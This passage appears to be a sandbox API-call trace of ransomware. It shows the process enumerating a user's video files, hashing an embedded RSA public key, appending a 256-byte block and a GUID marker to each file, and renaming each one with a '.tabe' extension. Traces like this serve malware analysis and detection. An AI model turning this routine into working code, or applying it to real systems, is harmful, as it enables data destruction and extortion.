(lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.231] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.232] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.232] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.232] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.232] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.232] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.232] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.232] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.232] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.232] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.233] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.233] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x660b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.233] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.233] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.233] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.233] CloseHandle (hObject=0x618) returned 1 [0127.234] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\6YUILuMky-podD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\6yuilumky-podd.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\6YUILuMky-podD.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\6yuilumky-podd.avi.tabe")) returned 1 [0127.235] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63e9510, ftCreationTime.dwHighDateTime=0x1d5e762, ftLastAccessTime.dwLowDateTime=0xb942b900, ftLastAccessTime.dwHighDateTime=0x1d5e2ea, ftLastWriteTime.dwLowDateTime=0xb942b900, ftLastWriteTime.dwHighDateTime=0x1d5e2ea, nFileSizeHigh=0x0, nFileSizeLow=0x1066d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="aIDbhG QcK7oTvnpv7HE.swf", cAlternateFileName="AIDBHG~1.SWF")) returned 1 [0127.235] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\aIDbhG QcK7oTvnpv7HE.swf") returned=".swf" [0127.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\aIDbhG QcK7oTvnpv7HE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\aidbhg qck7otvnpv7he.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.235] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=67181) returned 1 [0127.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.236] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10647, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.236] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.238] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1066d, lpOverlapped=0x0) returned 1 [0127.239] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.239] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.239] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.239] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.239] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.239] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.239] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.239] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.240] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.240] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.240] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.240] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.240] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.240] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.240] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1066d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.240] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.241] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.241] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.241] CloseHandle (hObject=0x618) returned 1 [0127.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\aIDbhG QcK7oTvnpv7HE.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\aidbhg qck7otvnpv7he.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\aIDbhG QcK7oTvnpv7HE.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\aidbhg qck7otvnpv7he.swf.tabe")) returned 1 [0127.243] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a02e2f0, ftCreationTime.dwHighDateTime=0x1d5dbbe, ftLastAccessTime.dwLowDateTime=0x5849da0, ftLastAccessTime.dwHighDateTime=0x1d5e571, ftLastWriteTime.dwLowDateTime=0x5849da0, ftLastWriteTime.dwHighDateTime=0x1d5e571, nFileSizeHigh=0x0, nFileSizeLow=0x7689, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="P c-.mp4", cAlternateFileName="PC-~1.MP4")) returned 1 [0127.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\P c-.mp4") returned=".mp4" [0127.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\P c-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\p c-.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.244] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=30345) returned 1 [0127.244] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.245] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.245] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.246] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7689, lpOverlapped=0x0) returned 1 [0127.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.247] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.247] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.247] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.248] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.248] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.248] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.248] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.248] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.248] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.248] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.248] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.248] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7689, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.248] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.248] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.248] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.248] CloseHandle (hObject=0x618) returned 1 [0127.249] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\P c-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\p c-.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\P c-.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\p c-.mp4.tabe")) returned 1 [0127.250] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e7b70, ftCreationTime.dwHighDateTime=0x1d5e47b, ftLastAccessTime.dwLowDateTime=0x77975b30, ftLastAccessTime.dwHighDateTime=0x1d5e3c8, ftLastWriteTime.dwLowDateTime=0x77975b30, ftLastWriteTime.dwHighDateTime=0x1d5e3c8, nFileSizeHigh=0x0, nFileSizeLow=0x182fb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pkOEHodKmy.avi", cAlternateFileName="PKOEHO~1.AVI")) returned 1 [0127.250] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\pkOEHodKmy.avi") returned=".avi" [0127.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\pkOEHodKmy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\pkoehodkmy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.251] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=99067) returned 1 [0127.251] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.252] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.252] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.255] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x182fb, lpOverlapped=0x0) returned 1 [0127.255] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.255] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.255] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.255] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.256] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.256] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.256] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.256] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.256] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.256] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.256] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.256] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.257] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.257] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.257] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x182fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.258] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.258] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.258] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.258] CloseHandle (hObject=0x618) returned 1 [0127.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\pkOEHodKmy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\pkoehodkmy.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\pkOEHodKmy.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\pkoehodkmy.avi.tabe")) returned 1 [0127.260] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef341f0, ftCreationTime.dwHighDateTime=0x1d5d889, ftLastAccessTime.dwLowDateTime=0xab5b39d0, ftLastAccessTime.dwHighDateTime=0x1d5e6d6, ftLastWriteTime.dwLowDateTime=0xab5b39d0, ftLastWriteTime.dwHighDateTime=0x1d5e6d6, nFileSizeHigh=0x0, nFileSizeLow=0x13542, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SFRp7ypAs_6O3Pbe.swf", cAlternateFileName="SFRP7Y~1.SWF")) returned 1 [0127.260] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\SFRp7ypAs_6O3Pbe.swf") returned=".swf" [0127.260] CreateFileW 